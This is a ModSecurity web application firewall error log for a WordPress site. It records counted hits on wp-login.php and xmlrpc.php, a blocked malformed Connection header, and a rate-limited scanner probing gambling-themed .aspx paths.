[Tue May 26 08:57:59.955844 2026] [:error] [pid 55988:tid 56013] [client 103.27.200.76:50632] [client 103.27.200.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.27.200.76, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTwF_3kVIz2sql52semRAAAARY"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 09:03:37.662251 2026] [:error] [pid 55988:tid 56010] [client 195.33.205.242:42840] [client 195.33.205.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.33.205.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTxaf3kVIz2sql52seoPwAAARM"]
[Tue May 26 09:03:43.953157 2026] [:error] [pid 55988:tid 55998] [client 195.33.205.242:42840] [client 195.33.205.242] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.33.205.242, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahTxb_3kVIz2sql52seoTQAAAQc"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 10:07:31.114991 2026] [:error] [pid 20025:tid 20068] [client 194.213.4.139:52534] [client 194.213.4.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.213.4.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUAY37k8Vts-JPOkgUI3QAAAEM"]
[Tue May 26 10:07:34.137114 2026] [:error] [pid 20025:tid 20086] [client 194.213.4.139:52534] [client 194.213.4.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.213.4.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUAZn7k8Vts-JPOkgUI4QAAAFU"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 11:09:06.212315 2026] [:error] [pid 20025:tid 20083] [client 43.157.172.39:37490] [client 43.157.172.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahUO0n7k8Vts-JPOkgUmbgAAAFI"]
[Tue May 26 11:23:36.239900 2026] [:error] [pid 55988:tid 55991] [client 192.190.85.180:42766] [client 192.190.85.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.190.85.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUSOP3kVIz2sql52sfbZgAAAQA"]
[Tue May 26 11:23:37.764419 2026] [:error] [pid 55988:tid 56009] [client 192.190.85.180:42766] [client 192.190.85.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.190.85.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUSOf3kVIz2sql52sfbcQAAARI"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 11:53:10.929300 2026] [:error] [pid 20024:tid 20053] [client 52.18.195.140:60712] [client 52.18.195.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.18.195.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUZJldk7QtxEB93NpdOLAAAAA8"]
[Tue May 26 11:53:13.039609 2026] [:error] [pid 20024:tid 20056] [client 52.18.195.140:60712] [client 52.18.195.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.18.195.140, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUZKVdk7QtxEB93NpdOLgAAABI"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 12:21:05.134586 2026] [:error] [pid 20025:tid 20071] [client 79.99.41.110:39286] [client 79.99.41.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.99.41.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUfsX7k8Vts-JPOkgVQJAAAAEY"]
[Tue May 26 12:35:33.687909 2026] [:error] [pid 20025:tid 20069] [client 36.85.191.179:49508] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjFX7k8Vts-JPOkgVV2QAAAEQ"]
[Tue May 26 12:35:44.199633 2026] [:error] [pid 39336:tid 39341] [client 36.85.191.179:50064] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjINwmp9MmyaRNgiANVAAAAUI"]
[Tue May 26 12:35:54.722629 2026] [:error] [pid 20026:tid 20116] [client 36.85.191.179:50461] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjKjXIXIr-5BZ8nR5CGQAAAJg"]
[Tue May 26 12:36:05.536906 2026] [:error] [pid 20024:tid 20040] [client 36.85.191.179:50858] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjNVdk7QtxEB93NpdVyAAAAAI"]
[Tue May 26 12:36:16.009730 2026] [:error] [pid 20024:tid 20052] [client 36.85.191.179:51249] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjQFdk7QtxEB93NpdV0QAAAA4"]
[Tue May 26 12:36:26.581326 2026] [:error] [pid 55988:tid 55992] [client 36.85.191.179:51642] [client 36.85.191.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.85.191.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahUjSv3kVIz2sql52sf2ygAAAQE"]
[Tue May 26 12:46:18.239633 2026] [:error] [pid 20125:tid 20134] [client 8.130.10.226:54500] [client 8.130.10.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.130.10.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUlmtk9jeWERFDLJc7zuwAAAMc"]
[Tue May 26 12:46:20.759854 2026] [:error] [pid 20125:tid 20150] [client 8.130.10.226:54500] [client 8.130.10.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.130.10.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUlnNk9jeWERFDLJc7zvgAAANc"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 13:34:34.372817 2026] [:error] [pid 20026:tid 20094] [client 14.225.71.169:39162] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUw6jXIXIr-5BZ8nR5NHgAAAII"]
[Tue May 26 13:34:35.446128 2026] [:error] [pid 20026:tid 20112] [client 14.225.71.169:39162] [client 14.225.71.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.225.71.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahUw6zXIXIr-5BZ8nR5NHwAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 13:54:12.649357 2026] [:error] [pid 20025:tid 20089] [client 216.185.214.209:37518] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahU1hH7k8Vts-JPOkgV-iAAAAFg"]
[Tue May 26 13:54:14.196946 2026] [:error] [pid 20025:tid 20080] [client 216.185.214.209:37518] [client 216.185.214.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.185.214.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahU1hn7k8Vts-JPOkgV-jQAAAE8"], referer: https://gigfragments.org/wp-login.php
[Tue May 26 14:01:37.071974 2026] [:error] [pid 20024:tid 20048] [client 65.108.2.171:51164] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahU3QVdk7QtxEB93NpdjCAAAAAo"]
[Tue May 26 14:01:39.185575 2026] [:error] [pid 20025:tid 20076] [client 65.108.2.171:51180] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahU3Q37k8Vts-JPOkgWDigAAAEs"]
[Tue May 26 14:01:41.177675 2026] [:error] [pid 39336:tid 39349] [client 65.108.2.171:51182] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ahU3Rdwmp9MmyaRNgiArCgAAAUo"]
[Tue May 26 14:01:43.082170 2026] [:error] [pid 55988:tid 55999] [client 65.108.2.171:51186] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ahU3R_3kVIz2sql52scPBAAAAQg"]
[Tue May 26 14:01:45.210370 2026] [:error] [pid 20125:tid 20135] [client 65.108.2.171:18238] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ahU3Sdk9jeWERFDLJc4FrAAAAMg"]
[Tue May 26 14:01:47.137354 2026] [:error] [pid 55988:tid 56007] [client 65.108.2.171:18254] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ahU3S_3kVIz2sql52scPCwAAARA"]
[Tue May 26 14:01:49.167557 2026] [:error] [pid 20024:tid 20041] [client 65.108.2.171:18260] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ahU3TVdk7QtxEB93NpdjGQAAAAM"]
[Tue May 26 14:01:51.095829 2026] [:error] [pid 20025:tid 20084] [client 65.108.2.171:18266] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ahU3T37k8Vts-JPOkgWDoQAAAFM"]
[Tue May 26 14:01:53.207642 2026] [:error] [pid 20024:tid 20047] [client 65.108.2.171:18268] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ahU3UVdk7QtxEB93NpdjHAAAAAk"]
[Tue May 26 14:01:55.128657 2026] [:error] [pid 20024:tid 20051] [client 65.108.2.171:6812] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "ahU3U1dk7QtxEB93NpdjHgAAAA0"]
[Tue May 26 14:01:57.103861 2026] [:error] [pid 39336:tid 39362] [client 65.108.2.171:6826] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "ahU3Vdwmp9MmyaRNgiArGQAAAVc"]
[Tue May 26 14:01:59.049712 2026] [:error] [pid 20025:tid 20066] [client 65.108.2.171:6836] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahU3V37k8Vts-JPOkgWDqwAAAEE"]
[Tue May 26 14:02:00.963307 2026] [:error] [pid 20025:tid 20074] [client 65.108.2.171:6842] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ahU3WH7k8Vts-JPOkgWDrwAAAEk"]
[Tue May 26 14:02:03.022173 2026] [:error] [pid 20026:tid 20112] [client 65.108.2.171:6846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ahU3WzXIXIr-5BZ8nR5SpgAAAJQ"]
[Tue May 26 14:02:05.002126 2026] [:error] [pid 55988:tid 55998] [client 65.108.2.171:18712] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ahU3Xf3kVIz2sql52scPGwAAAQc"]
[Tue May 26 14:02:07.044219 2026] [:error] [pid 39336:tid 39356] [client 65.108.2.171:18718] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ahU3X9wmp9MmyaRNgiArIQAAAVE"]
[Tue May 26 14:02:09.073058 2026] [:error] [pid 20025:tid 20071] [client 65.108.2.171:18726] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ahU3YX7k8Vts-JPOkgWDwAAAAEY"]
[Tue May 26 14:02:10.963778 2026] [:error] [pid 20025:tid 20066] [client 65.108.2.171:18728] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ahU3Yn7k8Vts-JPOkgWDwwAAAEE"]
[Tue May 26 14:02:12.884463 2026] [:error] [pid 20024:tid 20054] [client 65.108.2.171:18736] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ahU3ZFdk7QtxEB93NpdjNQAAABA"]
[Tue May 26 14:02:14.974635 2026] [:error] [pid 20025:tid 20087] [client 65.108.2.171:54392] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ahU3Zn7k8Vts-JPOkgWDzAAAAFY"]
[Tue May 26 14:02:17.108185 2026] [:error] [pid 20024:tid 20048] [client 65.108.2.171:54398] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ahU3aVdk7QtxEB93NpdjQgAAAAo"]
[Tue May 26 14:02:19.220527 2026] [:error] [pid 20025:tid 20077] [client 65.108.2.171:54402] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ahU3a37k8Vts-JPOkgWD2gAAAEw"]
[Tue May 26 14:02:21.208138 2026] [:error] [pid 55988:tid 56011] [client 65.108.2.171:54404] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ahU3bf3kVIz2sql52scPKAAAARQ"]
[Tue May 26 14:02:23.369311 2026] [:error] [pid 20025:tid 20076] [client 65.108.2.171:54414] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ahU3b37k8Vts-JPOkgWD4QAAAEs"]
[Tue May 26 14:02:25.493295 2026] [:error] [pid 39336:tid 39348] [client 65.108.2.171:24530] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ahU3cdwmp9MmyaRNgiArNAAAAUk"]
[Tue May 26 14:02:27.512997 2026] [:error] [pid 39336:tid 39354] [client 65.108.2.171:24544] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ahU3c9wmp9MmyaRNgiArOgAAAU8"]
[Tue May 26 14:02:29.668718 2026] [:error] [pid 20125:tid 20151] [client 65.108.2.171:24554] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ahU3ddk9jeWERFDLJc4FywAAANg"]
[Tue May 26 14:02:31.693194 2026] [:error] [pid 39336:tid 39352] [client 65.108.2.171:24566] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ahU3d9wmp9MmyaRNgiArRQAAAU0"]
[Tue May 26 14:03:16.908868 2026] [:error] [pid 39336:tid 39344] [client 65.108.2.171:54122] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ahU3pNwmp9MmyaRNgiArngAAAUU"]
[Tue May 26 14:03:19.050631 2026] [:error] [pid 20024:tid 20062] [client 65.108.2.171:54126] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ahU3p1dk7QtxEB93NpdjXAAAABg"]
[Tue May 26 14:03:20.996851 2026] [:error] [pid 20025:tid 20089] [client 65.108.2.171:54130] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ahU3qH7k8Vts-JPOkgWEzwAAAFg"]
[Tue May 26 14:03:23.124876 2026] [:error] [pid 39336:tid 39340] [client 65.108.2.171:54136] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ahU3q9wmp9MmyaRNgiArqwAAAUE"]
[Tue May 26 14:03:25.166717 2026] [:error] [pid 39336:tid 39349] [client 65.108.2.171:49980] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ahU3rdwmp9MmyaRNgiArsQAAAUo"]
